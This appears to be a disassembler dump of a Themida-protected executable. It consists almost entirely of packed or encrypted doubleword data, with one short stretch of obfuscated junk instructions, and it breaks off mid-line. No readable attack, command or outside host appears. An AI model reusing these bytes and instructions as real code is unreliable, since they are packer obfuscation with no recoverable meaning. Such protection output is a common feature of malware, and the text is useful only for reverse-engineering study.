0E7987FE5h, 0FA60E7E2h, 0EE098DD2h, 8ABE0059h dd 23921C2Ah, 0AF005EAEh, 0FAAD366Eh, 3E2A152h, 16B82166h dd 0AB8853E6h, 68E2B11Ah, 94263802h, 0D4E20Fh, 57610617h dd 43A18D00h, 22ABCAC3h, 71D21C5Fh, 0AF4984D3h, 8448906Fh dd 0BA00088Fh, 0F23551ACh, 262C7F5Bh, 0B5891Eh, 0D1451052h dd 0BE00BCAAh, 0AB65446Dh, 4A0F6E43h, 31148038h, 0E601369Bh dd 0A4202C60h, 482013F8h, 0B37C00A0h, 0F6CCF967h, 4509C12Dh dd 831A7341h, 0F0B4BC3Fh, 0A52C2Bh, 0FBA4583Ch, 75E37B65h dd 6ADB000h, 0DACBECE1h, 2A6EA24h, 3A0997B9h, 10416C0Bh dd 0E47CF9E3h, 4902915h, 40ABA022h, 0EE39F19Ah, 0E59500A4h dd 0BBF274A1h, 0BCEC0443h, 810DDD56h, 0C4B34C88h, 0D8000735h dd 78F48B5Ch, 1D4B85B7h, 0C154C6E8h, 0AA471394h, 20423063h dd 31745900h, 1CEAF1B8h, 7C7B0084h, 681ECBA2h, 4C005FDCh dd 0A441F8C6h, 0F1182Ah, 3D0E1B94h, 0E81D28E0h, 149F40Eh dd 3E446011h, 60C5A7E2h, 39F1D09Eh, 0B009F42h, 8D1ECCBh dd 0F6652C1h, 0B8B07628h, 6EE79E00h, 0A4002721h, 0FF80631Dh dd 9B2AE2h, 1853FBD3h, 130792D2h, 0D8239C3Eh, 0E82B005Ch dd 0A86D5C72h, 0FA190E9Eh, 332010B4h, 827166C8h, 25024F02h dd 406BFB8Fh, 7B7B188h, 665A897Fh, 0D888C01Eh, 157FD410h dd 0E1B49E00h, 55D60C3Ah, 0BB5700E3h, 0F149FAF2h, 0C273BDA3h dd 2B4C1FB8h, 29A11E90h, 184DD781h, 0FC4072E7h, 5D238Bh dd 0F75081D6h, 7CC1CF2Bh, 930FDDFEh, 3E75B620h, 3C550380h dd 0F7FA2Eh, 7CC9450Ah, 1AED4A97h, 2F006CB8h, 10840809h dd 0C03B3869h, 70651F90h, 93001B7Ah, 0DD321964h, 1A444E0h dd 73FF1CA2h, 3B70FBBEh, 0BDADE0h, 74D73F28h, 0A0D010A8h dd 0EB70A679h, 55582D07h, 2B40BA52h, 8F7E6h, 192F959Fh dd 0E4A25311h, 0A9C3BB00h, 2A1D4E3Eh, 2B28009Eh, 0D552ADF1h dd 2E011A91h, 5536A86h, 8EF0D37Fh, 0F3672CA4h, 6117D00h dd 8CF9AEC0h, 0E0A0218Eh, 1B009F52h, 64FB5C6Bh, 0AE6222h dd 0CF0CC6D5h, 3BC9837Ah, 6D7F1A00h, 3103D0B1h, 6AAF0062h dd 247AD6E4h, 0FD181EDAh, 98C0BDDEh, 0C0B75D5Eh, 0CBFB5500h dd 6DDDE6CFh, 273DA600h, 7B91F39Bh, 75E50090h, 5B5FD5B6h dd 763B7EEAh, 0F3AF8045h, 0A92CED26h, 40620072h, 951AA5A8h dd 0C502A403h, 547327A6h, 0C887E0D4h, 7150046h, 0F12AAF4Fh dd 3F0265D3h, 9D3B2793h, 5E7D608Dh, 2F0001Ch, 3243D822h dd 3E009ED1h, 85B970Ah, 7C65B4E8h, 3200047h, 8DFB065Dh dd 0DB0091CAh, 3D763189h, 42DCECh, 5A394177h, 883F629Dh dd 76F67127h, 32603CFCh, 0A3E6C29Ch, 99C6F900h, 0A9EBAECh dd 4143DFFh, 573FB800h, 610C6662h, 2800B1FEh, 2A6D3EEFh dd 182081B9h, 0E22E0729h, 7E03B4A2h, 0E65BDF8Ah, 22CBF164h dd 2FE22080h, 7AF4CDABh, 32B55400h, 501C8544h, 0F7C20358h dd 7E05819Bh, 22286A80h, 0DBAF2100h, 0A8F19685h, 0BF3B0087h dd 1B71E6Bh, 143DEF36h, 9900F847h, 0EB7EECCEh, 773C693h dd 7CFB11ADh, 0F3B160D8h, 0DA006E32h, 4019B803h, 77121Ch dd 0F5B23FA6h, 5179F54h, 576E3B04h, 0FC800491h, 99A683h dd 0D002C276h, 0E24CF179h, 80C0D339h, 55F58EBEh, 1CA1C92Fh dd 80D67BCAh, 0A03C8B65h, 74003A9Eh, 0DD334B91h, 0CE3DDEh dd 0D4E143C4h, 2839970Bh, 0FAE9E800h, 91F4A666h, 65E40006h dd 0C1CD5B93h, 49729C47h, 501FD514h, 61C600ACh, 0F65EAAFBh dd 1C5C00CFh, 947BF4Ah, 0EC00F151h, 0F0CB9094h, 0F8E68B2Dh dd 0BD330025h, 0F48397F7h, 9501FC0Fh, 0CEEB84A4h, 5E619119h dd 0AC9481D2h, 9F71FE0Eh, 0CD82D010h, 6C100BBh, 0B2E8A778h dd 0E3006432h, 0F4DEE488h, 0B3B42Ch, 0B1724138h, 0ED3B25F2h dd 137B9E7Ah, 4A424300h, 0D71A89E6h, 0A62007Ah, 0E1049640h dd 0E801D3A3h, 367C3821h, 0C0C77BF6h, 295459h, 66CCB974h dd 91403BD6h, 0C247F900h, 204EF141h, 0E3360069h, 0F84D7E1Eh dd 251DDDCCh, 956CC2CAh, 3179DB00h, 0FC8EB014h, 0C8BD1FFEh dd 0DCF29F11h, 0D6C914D4h, 0AD7C1600h, 7448C107h, 0BD46230Eh dd 0FAE5C301h, 1382F847h, 0E69000B4h, 0F8E44F2Ch, 420040E9h dd 836E2F2Eh, 95DEFE1h, 57CFAB2Bh, 2120D802h, 4A628C90h dd 59D17000h, 0F9CA13BDh, 0B5FC00BCh, 6C9BE089h, 0BB00D6A4h dd 7E601E3Fh, 0FE48A72h, 0DE167899h, 0EC692E0h, 0F2606627h dd 8226D0F0h, 68FF1F25h, 596D4084h, 6C47B4F3h, 58F66A00h dd 0F17A7BA8h, 0C6400193h, 947977B5h, 0FF68D9A7h, 3804BDC0h dd 0AC0967F6h, 0D15218h, 4BE23FECh, 0E0EA0089h, 753BF3F4h dd 3A3E515Ah, 0F06A1F56h, 7F700940h, 6CDE08Ah, 0ECC5B11Dh dd 7900B083h, 56AB5CC3h, 2F5C991h, 8B94B4B8h, 54E1A173h dd 4F202052h, 0E883E124h, 0E5FEC083h, 18C094E8h, 0C0B7AACh dd 0D1A9A8EDh, 0DD01765Ah, 37C06B32h, 9CDC97FFh, 3978B9h dd 0F37C4E73h, 0C89A0D27h, 0AA757B0Ch, 2D6026h, 1C6B852Eh dd 6596CDF8h, 1B4A1900h, 785E5C32h, 844E4DCAh, 492C7300h dd 0E2D11AA8h, 86984C00h dd 2EDCE402h, 0AA770310h, 461BA58h, 0BD81B390h, 34A84E07h dd 925006BFh, 3ED7C9h, 0B944718Ah, 7DD620FEh, 0E0CBE11Ch dd 7E0F8953h, 61C0FD4Ch, 58E9D9D8h, 0FC76744Eh, 0CB8C03A8h dd 0B412A473h, 0F02BC8D1h, 0EC3BDFFCh, 0B2B50030h, 0F5C462FFh dd 0A972002Fh, 361E6DBAh, 0EE00268Fh, 0D942F05Fh, 48C31B58h dd 0ED3C3804h, 0CF7B611Dh, 0B420F3D1h, 1F3F448Ah, 717EF100h dd 4B8FC4F7h, 7577F414h, 4EA50199h, 5917E26Fh, 967CF022h dd 6B28F70Fh, 9EC6C247h, 0AC844043h, 489500B4h, 0E4588D41h dd 530051B2h, 37F906C3h, 3A94E7Ch, 0C6685935h, 1BA0E1DFh dd 0CAE28CE2h, 90223D03h, 0D4B9BAC4h, 7E7A14C8h, 97370FDDh dd 22E53CEFh, 6880066h, 483F0A18h, 1C4748h, 0CF97B629h dd 0F001BCA5h, 0FA92095Dh, 7C826915h, 0E440CB9Eh, 933E14ECh dd 0A1578130h, 5A96F00Fh, 0C7206E61h, 0C8450061h, 0C9D13BBBh dd 7907429Ah, 0FE72832Ah, 1D7BA3F0h, 4FC8022Ch, 3DD98F68h dd 9E7F4840h, 942A2400h, 86076EA2h, 0CA9839h, 5678E0A6h dd 1E24D23h, 4AEC8109h, 3FB0004Bh, 3A1342h, 180FA6FFh dd 48E30658h, 5105E800h, 0E5BAF676h, 0F06107DFh, 40085FE9h dd 1141C4A1h, 10810E00h, 0D5B42446h, 0A92004Ah, 0AB8C3A60h dd 9D00A177h, 5D7F48FEh, 387C2555h, 880056B0h, 59A584AFh dd 0A3772024h, 0D60EF0Eh, 72D662F4h, 5603FF08h, 38B8E7C7h dd 7E007DEDh, 0BD035796h, 0BB17B0h, 0AE21BCCAh, 0CFB50A2Eh dd 1E084600h, 0F7A42F77h, 0DE8F000Dh, 86E9AD51h, 6E0F31BEh dd 7DC124AFh, 71E2FDC0h, 9EAA016h, 233A69C0h, 0C5EDF400h dd 0F900F4D9h, 0CE27F2C3h, 0C179F5h, 3071E305h, 0BCA79F11h dd 0C9335500h, 63DA09C2h, 0B4180F31h, 9E81063Dh, 0D4A6D0AAh dd 8D128779h, 1F00C6DEh, 0CC193394h, 0BF631ED7h, 8970C0FFh dd 0C848A72Dh, 0B40008FAh, 2E82D4CDh, 0D19F87h, 3958E7F7h dd 0ECC3E850h, 8C486D00h, 16E52338h, 0CAA0001h, 0F4944A4Dh dd 5000739Fh, 9CDE899Dh, 0CA17DFh, 2C3C6ADAh, 2E4365B9h dd 840DED00h, 3E7ED67Fh, 5D93074Ah, 33954BECh, 0FF0429Bh dd 0C207F4D5h, 0C877893Bh, 0EF6FE410h, 0CE1901E5h, 2107628Ah dd 5547D45Dh, 1458B500h, 0A12417C2h, 0FB010FBAh, 6D011094h dd 0E4F5C56Fh, 0E600B6C6h, 425B34E8h, 0EC4A3988h, 0C2B400FEh dd 0C719E9B2h, 0F009F82h, 5178F53Bh, 0EB4D07h, 6427239Ah dd 0D03AE206h, 0FD24CD00h, 0E85F29EDh, 113700AAh, 0DA62544h dd 0D2267F1Bh, 6290A4EEh, 747EA100h, 9720E549h, 433E4600h dd 63605476h, 1E610098h, 7AD639FEh, 1900AFF8h, 6D501751h dd 0A72CE30h, 61EDAE11h, 0DADA2FB8h, 0F481A500h, 43B823BFh dd 93A02CB4h, 3C29836Ch, 8103073Eh, 48536465h, 42083A86h dd 923B6E06h, 0A1002106h, 36D9F317h, 4D48B75h, 808FB2EEh dd 6181EE5h, 18A47710h, 20DDF157h, 20A0903Ch, 0F200FB34h dd 0F1D5A172h, 7C0E73B6h, 7C8B0C05h, 9258E953h, 6B001F73h dd 0A70B2B96h, 7C15237h, 242EBDC4h, 9E4473C2h, 3AC14063h dd 0DDA3CB58h, 6966C61h, 0AB4BDC1Dh, 0DF206D00h, 8DCB7F80h dd 0B85B00FAh, 0E5F8B0AAh, 5200C829h, 7BDF8643h, 74C00832h dd 0F7B10056h, 0F8CA7953h, 16006004h, 0EE0B88E4h, 0A98D19h dd 34C4A420h, 7F679997h, 805DB63Ch, 6304F62Ch, 6CA008h dd 0E9799461h, 0C9A32159h, 0FA841607h, 5FC0C2A7h, 55CB87h dd 45F5AA32h, 66A3EE7Ch, 0CD60A026h, 0F72A0Fh, 0D2FADB22h dd 0B6DA0F92h, 0F0855C30h, 120F87C3h, 0EDC0F201h, 4E00BFD5h dd 98945D9Ch, 1F3646Ah, 0C03CBB53h, 406BF671h, 0AC413190h dd 10A1AB41h, 0E4717C04h, 71020C92h, 0B310F31Bh, 50F5h dd 11FC91CAh, 68BCA677h, 0A5EC6CB0h, 2F6C2700h, 0EC3BAE16h dd 0ACA11F6Bh, 565200A3h, 9328BA5Ch, 269A223Fh, 68004CCBh dd 0B1B3F0A4h, 51865CD4h, 193B8904h, 98ACB443h, 0E5F350Fh dd 2A6EC0B0h, 0C3273A6h, 0AB2547CCh, 83261F42h, 0B80172BDh dd 775B7589h, 0B8C1DEF8h, 273307D0h, 30DA80EBh, 5330FFBAh dd 0CC178C3Eh, 0D30B0010h, 0F3BF2526h, 0E49800DDh, 3FF136D2h dd 5400370Eh, 9E27995Fh, 70EF72h, 0C46BFACh, 0DDD1F05Eh dd 2FD6F00h, 76ECC787h, 0AC2302DAh, 8CC00132h, 5D611160h dd 0B03FA63Dh, 0D0DF2803h, 76202EBAh, 0B067099Dh, 26ADBF80h dd 0E002AB51h, 0AA59A9E7h, 81B68089h, 95EF6ED9h, 5DE1C8C0h dd 0EC00E0B2h, 8D2F99Ah, 2AFC16Ah, 17F25927h, 51C0C0E0h dd 0D659CC87h, 48D03F0h, 910ABD56h, 3AF8D297h, 4CF83D2Fh dd 8DDAA89h, 0ED3EB020h, 213112AEh, 36EF4EEAh, 0F483F4h dd 93E52A1Dh, 0AC8FC0BAh, 0B04C805h, 0F881F89Fh, 2FE8C5FAh dd 4894B7h, 0C8D2DE2h, 0C017B9CCh, 90065E5Bh, 1F9EA7D4h dd 0CD4C55h, 0EC2FC893h, 15006B6Eh, 7433A24Bh, 0C01A7173h dd 52407849h, 0A0BA5653h, 596B1002h, 702206BDh, 0C8C900A8h dd 98BAF123h, 32009060h, 922AFAD3h, 0B167BBh, 0D2EB80D0h dd 0F1C8CB44h, 640D7D00h, 5E1F7ECEh, 9CAC0124h, 0A9CDB5F6h dd 0DB38F83Fh, 0CEA31907h, 0D722F9B8h, 0FDB44872h, 0FEECBh dd 218EC52h, 0F4543ABCh, 852BA700h, 419EF816h, 748E0473h dd 0B077B5CBh, 791E2EF4h, 23009DC7h, 8B83FF4Eh, 86AD0046h dd 922C54Dh, 0A600A5A1h, 6C435AAEh, 393A42h, 925C379Bh dd 51DC2731h, 305DE070h, 40560010h, 49F11862h, 2F83173h dd 0FCD54668h, 0C005B87h, 0EEF0CF98h, 152DF9Fh, 58DE3A6Ch dd 0E0FFC5F2h, 0A7E2D9EDh, 8077F139h, 0AA284516h, 90FC9718h dd 0D3BC0150h, 14E4A8Dh, 6D2470ABh, 0D8612E00h, 730309C4h dd 79BBB82Fh, 0F5010087h, 5D0EF0CBh, 990519CFh, 56F7BDBAh dd 0DE18D040h, 43FE211h, 2CB8F8F5h, 1A2CD2BCh, 0D1605040h dd 4174D0A8h, 61558C00h, 3F626FA0h, 9C520081h, 0EE1DB3C4h dd 0CA009594h, 8912FDF5h, 221ED4h, 0C4E03BBBh, 78D72BC1h dd 5505BC05h, 0E6008FDBh, 0B8C2933Ah, 0E263075Dh, 0C30290ADh dd 0DFB15A6Eh, 36C0FCACh, 4A73DE00h, 35A917CEh, 91EECBh dd 474DDD84h, 24DFE76Eh, 775139h, 1018FFACh, 87681Ch, 42D8CEEFh dd 0DC1231Dh, 697948h, 372925D3h, 21983Dh, 88D70752h, 682EFD33h dd 48E76700h, 3E01BC6Bh, 28EA44h, 4020305Ch, 0C5DEED41h dd 13B7901Eh, 90018B17h, 4BE48A54h, 264D8FCh, 0B25349C8h dd 0FC60C7D9h, 7120ACDEh, 0D4D01C6Ch, 0B0A240E8h, 9983EA0Eh dd 0E0C3A507h, 0BEE07E5Fh, 79CDFD25h, 6C211689h, 0CC94033Dh dd 0F480FE36h, 0A002297h, 2BA439B0h, 0BA6C1Dh, 831E32FDh dd 78983612h, 0F137895h, 91ACCD9Fh, 3BF13DA3h, 0D2068EC8h dd 5C365B24h, 6E874500h, 4C98774Fh, 0BB176862h, 672C0057h dd 3E61C144h, 484A9500h, 1132BCF6h, 93F20553h, 90A164ACh dd 6EE2D83Ch, 0F6DF1E1Fh, 0E3E6866h, 0C1A37D78h, 5E21A23Dh dd 1430C9C5h, 0DB8A3D6Ch, 0E299698Ch, 3C98D410h, 0EE2D6F00h dd 8E540ED3h, 7803013Dh, 1A336827h, 44DB20E3h, 9A040200h dd 5448D9DCh, 629F0710h, 108086ECh, 7855F1CBh, 67DF7604h dd 0E4F19934h, 9A00A507h, 48AB40CBh, 967B6F7Eh, 0B75E40D0h dd 0DB7B37CDh, 5BF7C502h, 80809368h, 5881BFC0h, 0AF7074h dd 65FBB62Fh, 0C8F12015h, 0A2D93D00h, 0ACA6D46Eh, 86F61D41h dd 0CE007844h, 675FDF8Bh, 301A95Bh, 0A6E870AFh, 8960FB31h dd 0D9DD0F76h, 23A011D1h, 73CDC84Fh, 378B3B1Eh, 78A3E100h dd 0F9E9B6h, 0FCC17A08h, 0DB77552Fh, 22EE8500h, 753109EDh dd 50A20030h, 0DE0DD21Dh, 99000A04h, 0BA85F5B1h, 792B53Fh dd 79D1B45h, 68DC7014h, 70009783h, 0FBB34E91h, 7F6CFA19h dd 67F7006Fh, 7EE7A2E3h, 23008526h, 0D7B5F43Dh, 0F88C31h dd 0B99F720Dh, 17E8CFDFh, 0A1270603h, 90AFB887h, 1F924Fh dd 0D60AE389h, 5393E9C1h, 0CA802BFFh, 1C8C60E6h, 40664157h dd 81C81CD0h, 2A009CB8h, 0F70B08A9h, 6F3B0h, 86CDF591h dd 9CEC0A21h, 6B058100h, 4B4975ABh, 0DE560087h, 45EB97B0h dd 0B6009372h, 7DC1F920h, 766CADE4h, 4CD4004Eh, 8E6EA92Eh dd 93E89FB9h, 0AC81AB01h, 8E2BC62h, 17AD30h, 5F9AD968h dd 0F34CBFE3h, 0ACC2F800h, 58FF9360h, 1154008Dh, 88727334h dd 5C00101Dh, 513F7664h, 9278C446h, 0D0DB007Ch, 4B1ACCEBh dd 5F511F8Eh, 0E797C0EEh, 0CF9794Ch, 68F3CBC0h, 0FE93002Bh dd 36B10854h, 6B136A99h, 1E00C457h, 277CA7FAh, 58E635h dd 0B8651239h, 92730D02h, 328FB01h, 0F31D9E6Ch, 4426B428h dd 11033B51h, 6D2A4EEh, 0D9A89000h, 52C4655Ch, 0DCAB1748h dd 4E400173h, 43A37023h, 8880E520h, 59015FBAh, 3F5731C9h dd 0D0DB6FF4h, 0D9546Ah, 5D69BDB4h, 634F7DDEh, 33CEA501h dd 8157231h, 5B4A90FBh, 32B303E2h, 0B6EF70DFh, 598F6EC0h dd 814D8503h, 0CA2F6Dh, 0ABE29620h, 395A47B7h, 713C3376h dd 0CE1B013Ch, 0B5BA8206h, 0F158DCC0h, 7364318Eh, 0EFD0D980h dd 0A71F7C59h, 4D004066h, 0DE760646h, 953300ECh, 57DDBD8Eh dd 0C500E6D7h, 7A92229Eh, 1A2B9Fh, 41453D87h, 218DCABFh dd 0D8936207h, 0B1007B46h, 1E1357Dh, 0E92AD4F8h, 0C15620B5h dd 0E08EF081h, 53DDD200h, 1F992DA2h, 0B574001Eh, 0C9AE65C7h dd 6D607F51h, 0A4DC85A9h, 0EC3575F7h, 0A540001Fh, 36DBC2CAh dd 23F7FBEh, 0BC129B08h, 51CC330h, 3CF59F39h, 0EEEB80BEh dd 630030C1h, 0A1114943h, 78D6266h, 0E5963E7Dh, 0F7F971B3h dd 0BEC0F371h, 46006412h, 7CBC9AA9h, 7B103Fh, 218E3C8Dh dd 0D508531Eh, 0A2013E0Ch, 3F4D3852h, 1C0064BDh, 5BB59831h dd 0F19F61Dh, 410CA2D7h, 0BCA35180h, 6E20C966h, 0D73860Ch dd 0E508131h, 0FF5B3514h, 55389081h, 0AEE2EC87h, 32209460h dd 3CB24F92h, 18743B81h, 0E975DB22h, 3D60F42Ah, 86F19248h dd 0D62500BCh, 0BE53FFA3h, 0AFE44C2Dh, 5D46A0Ch, 0FBD2833h dd 1846EBDEh, 0BC60280Fh, 8B5168A9h, 7500C8E6h, 16713C19h dd 0EE63DF7h, 0A6DADF1Fh, 0C3E27920h, 0FA667E73h, 2621EB08h dd 7BDE338h, 87E4AAF7h, 709AC7FFh, 0D7FD2892h, 710006F4h dd 6C44C826h, 2DF251h, 0B8A475CEh, 47D6D558h, 0FD3EE300h dd 541E083Dh, 49E66156h, 0DCA23CC6h, 0DA129A6Ch, 5A1D6439h dd 8F21FB1Bh, 0E274A3F3h, 0C2A7606Fh, 2D2B02CAh, 1F9E4ACFh dd 51D83487h, 8CE747D7h, 8778E39h, 0BD0600E6h, 59B736F0h dd 0D7063BC5h, 75A8A0F1h, 1A390630h, 0C8FE254Ah, 28643618h dd 0E868B039h, 3297EB3h, 6A1CFC15h, 28393365h, 0B09138D3h dd 381D7132h, 0B529005Eh, 0BCFAD273h, 21E8D523h, 71FBE9C0h dd 75E4E5Fh, 0B04414D6h, 34E920F8h, 0E3659093h, 0CC008260h dd 381A63D5h, 707503CFh, 0A9848E7Eh, 6A479688h, 0B3F68707h dd 0EEA0FBF1h, 284BB7D8h, 0EF7A3Fh, 0C37701ACh, 0E1446A84h dd 5648BA00h, 94DBD99Ch, 0FE88002Fh, 5BF3471Ah, 0BD009219h dd 2A54EE40h, 0D093394Bh, 52F80410h, 5F0E4C14h, 91CC01D8h ; --------------------------------------------------------------------------- loc_520044: ; DATA XREF: ___:004385B0o ; ___:004385C8o adc eax, 60374958h wait jg short loc_520050 retn ; --------------------------------------------------------------------------- db 3Eh, 68h, 85h ; --------------------------------------------------------------------------- loc_520050: ; CODE XREF: Themida_:0052004Aj mov esi, 4D038080h mov esp, 6D09FB0Ch push ss sub bl, bl inc esp xchg eax, ecx retf ; --------------------------------------------------------------------------- dd 44F86A44h, 67444E02h, 0AC2284FFh, 11EC42B6h, 0E3214315h dd 98B0CF08h, 589C79D0h, 9439C603h, 0D80CB36Eh, 0DE6449h dd 25559030h, 68F762AAh, 9A0041F4h, 6643FCDFh, 3EDBA52Eh dd 4A006C2Dh, 26ED44E4h, 7800EC69h, 0C8DAFF6Bh, 0C5F266h dd 91AD0AB3h, 0AF9648D5h, 8900C270h, 0D721B53Ah, 1E6C68A5h dd 0CE236379h, 4A802ADCh, 8EF4EE99h, 92558500h, 86117AEh dd 0C5413E65h, 0F6CFF500h, 8E11F8BFh, 0EC92D40Ch, 0E858A0h dd 9E52EA47h, 70EFBE58h, 7A77087Ah, 2DCCFF54h, 8A214E00h dd 5D6FABA0h, 0EC053C88h, 344066B0h, 6798D8CCh, 2A55EA00h dd 0B68B4D13h, 0BCF60080h, 0DAF41B14h, 0A00F2C9h, 21CBF343h dd 0EA5C7Dh, 0E2C8FB8Ch, 2BDD56B5h, 41FD0100h, 0F83DB171h dd 198B2463h, 9EA8010h, 0E8AF01C5h, 0C6F3C400h, 858CBF74h dd 0ADC203B2h, 0A146BD1Ah, 0CE2F40B0h, 0E44630Eh, 6C80FDCCh dd 1B05C5E9h, 0CF4F028Eh, 0F5C23CA2h, 0C000A763h, 2C66DB0h dd 165034h, 764DBBE5h, 0D3D26FCFh, 71CDAB24h, 1555E700h dd 1475C37h, 80C78B61h, 4074C16Ch, 0CDBECC97h, 12A1BA0Eh dd 0F513C0F6h, 60703BD5h, 7EC82053h, 0F8006DB4h, 0CF3DD9BCh dd 0FFEBFACh, 5367F16Eh, 0A728C680h, 2F00C287h, 3C900E2Bh dd 900C606Dh, 0C1A40088h, 0D61C71FEh, 0CB00454Ah, 0BB141DEFh dd 5CC3F6h, 3F673BB3h, 0D38A0C41h, 36D8DA00h, 7BB4EF06h dd 0A1F837h, 63C56E55h, 1E93E952h, 0A8B12F00h, 23162AA2h dd 680D03A7h, 0BC44A9F5h, 184E7CB0h, 8C1BEA00h, 0AE75E16Ch dd 577B41h, 46837634h, 3CA0F044h, 4B511E02h, 40CB30A4h dd 918EA0h, 2CB4EACAh, 26B67E69h, 0FE004E76h, 0B2D1E209h dd 7778A8ACh, 1D651861h, 7CB810BDh, 6D908200h, 4FC25167h dd 308B07F0h, 0E0D39310h, 849D3876h, 790048FCh, 951FB44Bh dd 341E8ACh, 0DEB35FBDh, 72C9A3B1h, 6A06D477h, 21B7AF02h dd 8949D2h, 0F4344355h, 57582A00h, 0EE1FC962h, 0B8E5006Bh dd 820FE63Bh, 0ED003D13h, 84795925h, 7CF3B121h, 3875059Fh dd 0C7D8DE44h, 5223B07Ah, 850FD931h, 40EA9ACDh, 0E7E4746Ch dd 0CFD007Ah, 67B84AB1h, 53007E01h, 11F7BC81h, 1BEEF5h dd 1FC8C379h, 2C2883A1h, 7BDD5B03h, 888CFB18h, 5F2AEh dd 0D2C736B9h, 0B34347F1h, 0F9E1C300h, 0BFC106E3h, 0D0DF0E97h dd 65C09BC4h, 579E2B5Fh, 3F2E4503h, 0E16D7h, 0FE32E021h dd 0CEC8B97Dh, 8672BE00h, 7C64873Bh, 58750037h, 34319316h dd 691F890Ah, 9A80639Bh, 4D95ED84h, 0ACAB003Bh, 1AA07F82h dd 0ECEAEBB9h, 53805100h, 0C5EE8444h, 0F78F81Bh, 60ED0E95h dd 0F5559B20h, 0CA0175FDh, 338DBF21h, 9860A232h, 0D6C4A0B2h dd 73CC280Dh, 0D38B00D0h, 0BF2FA319h, 0B81B86C4h, 0A829CA51h dd 0E05638C7h, 58620037h, 7C55362Fh, 6500EBF2h, 0C0114A45h dd 902905FDh, 64E90010h, 0D33EA93Ah, 0D0035B33h, 1EE14E6Fh dd 27BB987Ch, 0A5A4015Fh, 3ECD456Eh, 2F06E8E0h, 0D6C078DFh dd 4F646B2Eh, 51F0187h, 8D01136Ah, 0FEA09FC7h, 5CACA480h dd 3C731799h, 0A81E1BBDh, 8D38002Ah, 0E495DCA7h, 0EFCCAF00h dd 425086ECh, 0DDBB00ACh, 412C40ADh, 150003D9h, 741979CAh dd 3D26420h, 31C72E50h, 8800A667h, 91925B1Eh, 0A04C0981h dd 905052FCh, 0E8C800A8h, 6E123B65h, 8B003129h, 41FF3674h dd 4E8961h, 3A40B68h, 0D3425C72h, 0E6ED1800h, 0C98FA978h dd 0A8589FC6h, 84373Dh, 0DC3B0151h, 0CBED6F4h, 6E099EFDh dd 7505B7D0h, 3DD4211Dh, 9FF07787h, 1D1FEAF2h, 53A50E1Ah dd 90910063h, 4E936AD9h, 0D4446C00h, 80D5170h, 839501DBh dd 54F8EECAh, 0A1E97045h, 2368C862h, 8838405Ch, 3C3A007Ch dd 0B251F20Bh, 9B0096B4h, 14E90F5h, 4CE8703Eh, 0B710CBAh dd 8128CD7h, 5A07AF00h, 0A63A0BEAh, 68498045h, 921B6AA3h dd 4F99C2D2h, 4402A0Ch, 17005CFAh, 0DEEC98F9h, 19C2D47Ah dd 0FC575F88h, 0F02F39h, 3819004Ch, 0E10A0C34h, 0F700A8DDh dd 83C0ED92h, 4E953Dh, 0A5389141h, 3238D19h, 5B3BF00h dd 0F9C061B6h, 0FC520CCAh, 0DD85E51h, 0ED04FB00h, 58DF3F45h dd 0CB480E77h, 21E7A949h, 0FAC2A001h, 8F0015FCh, 24AD4BD4h dd 0E339C9h, 145422BDh, 0C067571Ch, 2FCA5502h, 40FFC131h dd 381915A4h, 0F8033E1h, 4B81A2E0h, 6A015498h, 5CC6D16Dh dd 1CDCD355h, 13BB836h, 0AC98F548h, 0F91E22B4h, 0FEB30E7h dd 8D1FD900h, 0D27ED373h, 7B857FF0h, 12EB00D7h, 968BFF0Ch dd 0A1004EB2h, 0D26B3CEEh, 0E75934h, 0FE9FD6E3h, 1EF08EF5h dd 8C0016EAh, 68107EC2h, 3B29DC5Dh, 8A93A269h, 0E400EB72h dd 9F5B2EE5h, 45EA181Ch, 5CD4C8B4h, 0C8ECD338h, 7FB700AEh dd 69BDDF7Bh, 0C09D01A0h, 7E1E6710h, 86C8BBECh, 9A4E015Ch dd 0F8022811h, 323400F7h, 7E9F4408h, 64B02CC1h, 5000E9EAh dd 0CB2E6C75h, 54D20F7Fh, 2F8846h, 0F74DF9A5h, 0AC22BADEh dd 917A9E00h, 0D9ED0FE1h, 59B30395h, 7FBD33CEh, 5CA750D8h dd 52BC91Eh, 28065440h, 0C324A2h, 0E2CCF707h, 143795B2h dd 0FC1A501h, 0D8878159h, 786043ECh, 0CB67009Bh, 0D56C6963h dd 0DD004B7Eh, 0C10FD82Eh, 0B78435h, 4EB4B3A5h, 2AA4171h dd 87E3BA3Ch, 44F5D8F6h, 0C15BDDD1h, 0FB50D0h, 0A2CE272Dh dd 0C24EA12Eh, 777F6B0Ch, 0B8542BAh, 761A6901h, 84DA6100h dd 18003D39h, 48AB4216h, 8FD825h, 3814F034h, 7A631C59h dd 0BC04FC00h, 94AB3167h, 3B603E19h, 23997F80h, 0B44D4AD8h dd 5E542F00h, 101B773Ch, 7E513E22h, 33C000FCh, 0C4AD5C79h dd 3760D0C2h, 0A8F3CC04h, 0FB4701F9h, 59A0C9A5h, 760AECCAh dd 9D9E5A3Ch, 0F0839DD6h, 0E0DCC834h, 0E9C35D7h, 8701B240h dd 0B136980h, 5500B593h, 0C38E64D2h, 7B0802h, 0D6576667h dd 0FD15DE76h, 62712F26h, 3BFEF09h, 0F761CB98h, 3A070550h dd 2EE8C26Bh, 0C4801922h, 57B9646Ah, 0D47C4BE6h, 4EB3EC00h dd 17BDFFFEh, 0E33400D1h, 0E43D1935h, 78032246h, 7937F3C9h dd 9E969049h, 61AC0063h, 73C65D12h, 4E01AD72h, 8CB18F1h dd 2160E8BEh, 187160BDh, 3C14DAF9h, 93F4E000h, 1CD47D21h dd 17EB03Eh, 0D262A7D5h, 406A13DDh, 0E46317F0h, 479E3C0Bh dd 7135005Ah, 0F621AF56h, 0FD7500CAh, 6FE2202Ch, 18907925h dd 74655803h, 0F85693E5h, 7422674Ah, 0A1E23A8Ah, 57618D81h dd 30F1885Ch, 6205D785h, 56B4AF27h, 0CB1B8C40h, 376F93h dd 0B6EA7CC2h, 61861EA5h, 833DA800h, 3C4301C9h, 179E298h dd 0FB05C32Fh, 0C0FA8019h, 27EC20FCh, 0C64B7A18h, 0E8E290h dd 94E62A71h, 0CBC349DFh, 437D18C0h, 0E0A26CCh, 302BF7EFh dd 0F07808C7h, 0F2042909h, 84C8E70Eh, 0C7C6A096h, 0FE4059h dd 0E026F6E6h, 0D6A665Ch, 38139B00h, 6BE254D5h, 768B003Eh dd 1AB5E89Ah, 0F000B659h, 27A54CEEh, 1F49CE5h, 0B34A788Ch dd 0F3621FC5h, 48B8D1C8h, 0C8702A0Eh, 8695C080h, 2427E2C3h dd 3D05854h, 3006BF98h, 0E811A191h, 2100AE86h, 48E4A6CFh dd 2C821040h, 0ACB1695h, 